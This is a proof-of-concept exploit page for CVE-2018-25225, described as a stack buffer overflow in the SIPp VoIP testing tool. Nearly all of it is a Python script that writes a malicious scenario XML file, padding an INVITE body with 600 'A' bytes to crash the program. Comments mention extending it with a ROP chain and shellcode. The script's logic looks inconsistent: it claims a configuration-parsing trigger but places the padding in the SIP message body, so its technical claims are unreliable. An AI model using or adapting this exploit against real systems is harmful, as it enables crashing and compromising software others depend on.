CVE-2018-25225 SIPp栈缓冲区溢出漏洞

import sys # PoC for CVE-2018-25225 - SIPp Stack Buffer Overflow # This script generates a malicious SIPp scenario XML file. # Usage: python3 poc.py # Then run: sipp -sn cve_2018_25225_poc.xml def generate_poc_xml(filename): # 1. Construct the payload # The buffer size is typically small (e.g., 256 bytes). # We fill it with 'A' to crash the application and demonstrate the overflow. # In a real exploit, this would be a specific offset + ROP chain + Shellcode. junk = b"A" * 600 # 2. Create the malicious XML content # The vulnerability is triggered when parsing configuration parameters. # We inject the payload into a field that is copied to the stack without bounds checking. xml_template = f"""<?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE scenario SYSTEM "sipp.dtd"> <scenario name="CVE-2018-25225 PoC"> <send retrans="500"> <![CDATA[ INVITE sip:[service]@[remote_ip]:[remote_port] SIP/2.0 Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch] Max-Forwards: 70 From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[pid]SIPpTag00[call_number] To: sut <sip:[service]@[remote_ip]:[remote_port]>[tag] Call-ID: [call_id] CSeq: 1 INVITE Contact: sip:sipp@[local_ip]:[local_port] Content-Type: application/sdp Content-Length: [len] v=0 o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip] s=- c=IN IP[media_ip_type] [media_ip] t=0 0 m=audio [media_port] RTP/AVP 0 a=rtpmap:0 PCMU/8000 {junk.decode('latin-1')} ]]> </send> </scenario> """ # 3. Write the payload to a file try: with open(filename, "w") as f: f.write(xml_template) print(f"[+] PoC file generated successfully: {filename}") print(f"[+] To test, run SIPp with this file.") except IOError as e: print(f"[-] Error writing file: {e}") if __name__ == "__main__": output_file = "cve_2018_25225_poc.xml" generate_poc_xml(output_file)